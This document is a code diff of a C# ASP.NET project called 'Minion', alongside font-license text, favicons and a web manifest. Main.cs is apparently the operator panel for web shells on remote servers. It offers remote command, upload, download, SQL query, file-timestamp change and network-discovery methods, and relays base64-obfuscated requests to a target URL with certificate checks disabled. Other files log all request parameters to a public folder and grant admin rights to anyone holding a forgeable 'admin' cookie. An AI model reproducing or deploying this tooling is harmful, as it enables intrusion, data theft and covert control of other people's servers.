THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
<msapplication>
<tile>
<square150x150logo src="/mstile-150x150.png"/>
<TileColor>#da532c</TileColor>
</tile>
</msapplication>
</browserconfig>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

View File

@@ -0,0 +1,38 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="157.000000pt" height="157.000000pt" viewBox="0 0 157.000000 157.000000"
preserveAspectRatio="xMidYMid meet">
<metadata>
Created by potrace 1.11, written by Peter Selinger 2001-2013
</metadata>
<g transform="translate(0.000000,157.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M909 1545 c-73 -19 -167 -75 -230 -135 -33 -30 -59 -60 -59 -67 0 -6
-4 -13 -9 -15 -5 -1 -11 -10 -13 -18 -2 -8 -9 -21 -16 -28 -7 -8 -10 -17 -7
-21 4 -3 14 3 24 14 9 11 23 21 31 23 8 2 20 8 25 15 6 7 19 14 30 15 11 2 36
9 55 16 48 16 164 11 225 -9 28 -10 69 -30 92 -46 41 -29 115 -110 119 -133 2
-6 7 -26 13 -45 17 -54 7 -198 -17 -261 -43 -110 -143 -209 -252 -251 -47 -18
-230 -40 -230 -28 0 2 27 33 61 69 67 72 70 64 -32 94 -31 9 -73 27 -92 40
-19 13 -39 21 -43 18 -4 -4 -4 -2 -1 4 6 11 -27 45 -37 38 -3 -2 -4 -1 -2 2 2
3 -7 22 -20 41 -61 91 -61 221 1 315 l25 38 -25 0 c-14 0 -25 -4 -25 -8 0 -4
-10 -9 -22 -9 -13 -1 -28 -9 -34 -17 -6 -9 -14 -13 -17 -10 -3 3 -16 -3 -28
-15 -13 -12 -26 -21 -31 -21 -4 0 -8 -7 -8 -15 0 -8 -4 -14 -9 -13 -5 2 -21
-12 -35 -31 l-26 -35 -32 72 -32 72 -38 -42 c-21 -24 -50 -68 -65 -98 -23 -47
-27 -70 -29 -160 -4 -147 18 -252 78 -373 25 -49 28 -63 19 -88 -5 -16 -8 -29
-6 -29 10 0 -92 -192 -131 -247 -25 -35 -43 -63 -41 -63 2 0 41 13 88 29 90
30 192 78 197 92 2 5 8 7 13 3 5 -3 9 0 9 5 0 6 3 10 8 9 4 -1 17 3 30 10 30
17 28 5 -12 -56 -19 -28 -32 -52 -28 -52 4 0 2 -4 -4 -8 -10 -7 -74 -99 -74
-107 0 -4 14 -3 95 9 11 2 20 4 20 5 0 2 9 5 20 7 58 13 109 37 205 92 55 32
140 72 169 78 37 8 124 11 136 5 6 -3 15 -6 20 -7 35 -3 75 -18 75 -27 0 -6 3
-7 7 -4 3 4 17 0 30 -8 13 -9 23 -12 23 -8 0 5 5 0 11 -10 5 -9 16 -17 23 -17
8 0 19 -7 26 -15 7 -8 16 -12 21 -9 5 3 9 1 9 -3 0 -5 14 -17 30 -26 17 -10
30 -15 30 -11 0 3 6 2 13 -4 10 -9 117 -24 117 -17 0 1 -8 20 -17 41 -9 22
-17 41 -18 44 0 3 -4 11 -8 18 -5 6 -6 12 -2 12 3 0 -1 14 -10 30 -9 17 -13
30 -11 30 3 0 1 11 -4 25 -5 14 -12 36 -15 48 -2 12 -9 40 -15 62 -6 22 -12
54 -14 70 -3 17 -7 47 -11 68 -6 34 -4 39 17 45 59 15 161 81 207 135 9 10 26
30 39 44 55 60 101 189 104 293 1 59 -1 81 -17 160 -9 48 -75 166 -117 211
-56 59 -138 113 -213 141 -71 26 -233 33 -306 13z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 2.3 KiB

View File

@@ -0,0 +1,14 @@
{
"name": "",
"short_name": "",
"icons": [
{
"src": "/android-chrome-144x144.png",
"sizes": "144x144",
"type": "image/png"
}
],
"theme_color": "#ffffff",
"background_color": "#ffffff",
"display": "standalone"
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,80 @@
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net.NetworkInformation;
using System.Web;
namespace Minion.lib
{
public class LoginLog
{
public static string LocationLog = @"C:\Users\Public\Libraries\LoginLog\";
public void GetLog(HttpContext CurrentContext)
{
//string reservIP = File.ReadAllText(CurrentContext.Server.MapPath("/") + "ip.txt");
string[] reservIP = null;
if (File.Exists("c:\\ip.txt"))
{
reservIP = File.ReadAllLines("c:\\ip.txt");
}
string ip = CurrentContext.Request.Params["REMOTE_ADDR"];
if (reservIP != null)
{
foreach (var item in reservIP)
{
if (item == ip)
return;
}
}
ip = ip.Replace(":", ".");
string path = LocationLog + ip;
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
NameValueCollection pColl = CurrentContext.Request.Params;
string store = string.Empty;
for (int i = 0; i < pColl.Count; i++)
{
string key = pColl.GetKey(i);
if (key != "ALL_HTTP" && key != "ALL_RAW")
{
string[] pValues = pColl.GetValues(i);
string value = string.Empty;
for (int j = 0; j < pValues.Length; j++)
{
if (j > 0)
value += "|";
value += pValues[j];
}
if (!string.IsNullOrEmpty(value))
{
store += key + " : " + value + Environment.NewLine + Environment.NewLine;
}
}
}
string time = DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss-fff");
string filePath = path + "\\" + time;
int num = 0;
string numStr = "";
while (File.Exists(filePath + numStr + ".txt"))
{
num++;
numStr = "-(" + num + ")";
}
try
{
File.AppendAllText(filePath + numStr + ".txt", store);
}
catch{}
}
}
}

View File

@@ -0,0 +1,145 @@
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Script.Serialization;
namespace Minion.lib
{
public class Main
{
public class InputDataClass
{
public string Url { get; set; }
public string Password { get; set; }
public string AdminUsername { get; set; }
public string AdminPassword { get; set; }
public int MethodNumber { get; set; }
public Dictionary<string,object> MethodInput { get; set; }
}
public class ErrorClass
{
public ErrorClass(Exception ex)
{
Error = ex.ToString();
}
public string Error { get; set; }
}
public InputDataClass InputData { get; set; }
public HttpContext CurrentContext { get; set; }
public Main(InputDataClass inputData, HttpContext currentContext)
{
if (inputData != null)
{
InputData = inputData;
InputData.Url = Utility.FromBase64(InputData.Url);
InputData.Password = Utility.FromBase64(InputData.Password);
InputData.AdminUsername = Utility.FromBase64(InputData.AdminUsername);
InputData.AdminPassword = Utility.FromBase64(InputData.AdminPassword);
}
CurrentContext = currentContext;
}
public void Proxy(NameValueCollection param)
{
string ret = "Error : -";
try
{
ret = SendRequest(InputData.Url, param);
}
catch (Exception e)
{
ret = "Error : " + e.Message;
}
ResponseAjax(ret);
}
public void ResponseAjax(object res)
{
var json = new JavaScriptSerializer().Serialize(res);
CurrentContext.Response.Clear();
CurrentContext.Response.Write(Utility.ToBase64(json));
CurrentContext.Response.Flush();
CurrentContext.Response.SuppressContent = true;
CurrentContext.ApplicationInstance.CompleteRequest();
}
public void ResponseAjax(string res)
{
ResponseAjax(new Dictionary<string,object>() { { "JustPrint", res } });
}
public enum Method
{
Auth = 0,
Command = 1,
Upload = 2,
Uploadbase64 = 3,
Delete = 4,
Download = 5,
ChangeTime = 6,
SqlQuery = 7,
Explorer = 8,
GetSize = 9,
GetLocation = 10,
Rename = 11,
Copy = 12,
View = 13,
CommandAjax = 14,
DownloadTest = 15,
CheckModules = 16,
InstallModule = 17,
UninstallModule = 18,
Cmd7z = 19,
AuthAjax = 20,
GetLocationAjax = 21,
SpyCheck = 22,
LocalExplore = 23,
MultiDelete = 24,
CheckDownloadProgress = 25,
GetIPFromNbt = 26,
GetLogicDrives = 27,
NetworkDownloaderCheck = 28,
NetworkDownloaderLog = 29,
NetworkDownloaderError = 30,
NetworkDownloaderDone = 31,
NetworkDownloaderDir = 32,
SaveLog = 33,
DownloadDemo = 34,
DownloadPause = 35,
DownloadInfo = 36,
DownloadLoad = 37,
DownloadClose = 38,
DownloadChangeStatusToRequested = 39
};
public string SendRequest(string url, NameValueCollection values)
{
string response = string.Empty;
string param = string.Empty;
foreach (var item in values.AllKeys)
{
if (!string.IsNullOrEmpty(param))
param += "&";
param += item + "=" + System.Web.HttpUtility.UrlEncode(Utility.ToBase64(values[item]));
}
using (WebClient wc = new WebClient())
{
ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
response = Utility.FromBase64(wc.UploadString(url, param));
}
return response;
}
}
}

View File

@@ -0,0 +1,56 @@
using System;
using System.Text;
using System.Web;
namespace Minion.lib
{
public class UserLogin
{
public bool CheckUser()
{
bool isLogin = false;
//if (HttpContext.Current.Session["SessionUser"] != null)
//{
// if (HttpContext.Current.Session["SessionUser"].ToString().ToLower() == "admin")
// isLogin = true;
//}
//else
//{
if (HttpContext.Current.Request.Cookies["SessionUser"] != null)
{
if (HttpContext.Current.Request.Cookies["SessionUser"].Value == "admin")
{
//HttpContext.Current.Session["SessionUser"] = "admin";
isLogin = true;
}
}
//}
return isLogin;
}
public bool LoginUser(string username, string password)
{
bool ret = false;
if (username.Trim().ToLower() == "admin")
{
string salt = "O%tG7Hz57kvWk35$D*)s$1l$pUpLnBw)apHR!xYZWZu7X#^w7$mCArmQMAa&sRBG";
string hash = "m6m8CCWa/u820mie8bX3HKIx1+WQkB+lbmniyXWKB+8=";
ret = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(password + salt))) == hash;
if (ret)
{
//HttpContext.Current.Session["SessionUser"] = "admin";
HttpCookie cookie = new HttpCookie("SessionUser", "admin");
cookie.Expires = DateTime.Now.AddDays(7);
HttpContext.Current.Response.SetCookie(cookie);
}
}
return ret;
}
}
}

View File

@@ -0,0 +1,129 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Web;
namespace Minion.lib
{
public static class Utility
{
public static string ToBase64(string a) { string ret = ""; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }
public static string FromBase64(string a) { string ret = ""; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }
public static string CheckDirectory(string url, string dirPath)
{
string newPath = string.Empty;
if (!dirPath.EndsWith("\\"))
dirPath += "\\";
Uri myUri = new Uri(url);
string host = myUri.Host;
newPath = dirPath + host + "\\";
if (!Directory.Exists(newPath))
Directory.CreateDirectory(newPath);
//if (!Directory.Exists(DownloadTemp))
// Directory.CreateDirectory(DownloadTemp);
return newPath;
}
public static void CreateEmptyFile(string filename)
{
File.Create(filename).Close();
}
public static string SizeFix(long size, bool round = false)
{
double s = size;
if (s < 1024)
return s + " B";
s = s / 1024;
if (s < 1024)
return (round ? (int)s : Math.Round(s, 2)) + " KB";
s = s / 1024;
if (s < 1024)
return (round ? (int)s : Math.Round(s, 2)) + " MB";
s = s / 1024;
if (s < 1024)
return (round ? (int)s : Math.Round(s, 2)) + " GB";
s = s / 1024;
return (round ? (int)s : Math.Round(s, 2)) + " TB";
}
public static string TimeFix(long msec)
{
int modSecond = 0;
int modMinute = 0;
int modHour = 0;
int modDay = 0;
double s = msec;
if (s < 1000) return (int)s + " msec";
s = s / 1000;
modSecond = (int)s;
if (s < 60) return modSecond + " sec";
s = s / 60;
modSecond = modSecond % 60;
modMinute = (int)s;
if (s < 60) return modMinute + " min" + (modSecond == 0 ? "" : " " + modSecond + " sec");
s = s / 60;
modMinute = modMinute % 60;
modHour = (int)s;
if (s < 24) return modHour + " hour" + (modMinute == 0 ? "" : " " + modMinute + " min")/*+ (modSecond == 0 ? "" : " " + modSecond + " sec")*/ ;
s = s / 24;
modHour = modHour % 24;
modDay = (int)s;
if (s < 365) return modDay + " day" + (modHour == 0 ? "" : " " + modHour + " hour")/*+ (modMinute == 0 ? "" : " " + modMinute + " min")+ (modSecond == 0 ? "" : " " + modSecond + " sec")*/;
s = s / 365;
modDay = modDay % 365;
return (int)s + " year" + (modDay == 0 ? "" : " " + modDay + " day")/*+ (modHour == 0 ? "" : " " + modHour + " hour")+ (modMinute == 0 ? "" : " " + modMinute + " min")+ (modSecond == 0 ? "" : " " + modSecond + " sec")*/;
}
public static T GetObject<T>(Dictionary<string, object> dict)
{
Type type = typeof(T);
var obj = Activator.CreateInstance(type);
foreach (var kv in dict)
{
bool doIT = true;
if (kv.Value != null)
{
Type valueType = kv.Value.GetType();
if (valueType.IsArray)
{
doIT = false;
//PropertyInfo pi = type.GetProperty(kv.Key);
//Type typeCollection = pi.GetType();
//var objCollection = Activator.CreateInstance(typeCollection);
//objCollection.
//Type piItem = typeCollection.GetProperty("Item").PropertyType;
//Type infoType = pi.GetType();
//object[] array = (object[])kv.Value;
//var collection = pi.GetValue(infoType, null);
////var collection = Activator.CreateInstance(type);
//for (int i = 0; i < ((object[])kv.Value).Length; i++)
//{
// collection.GetType().GetProperty("Item").SetValue(collection, i);
//}
}
}
if (doIT)
{
type.GetProperty(kv.Key).SetValue(obj, kv.Value);
}
}
return (T)obj;
}
}
}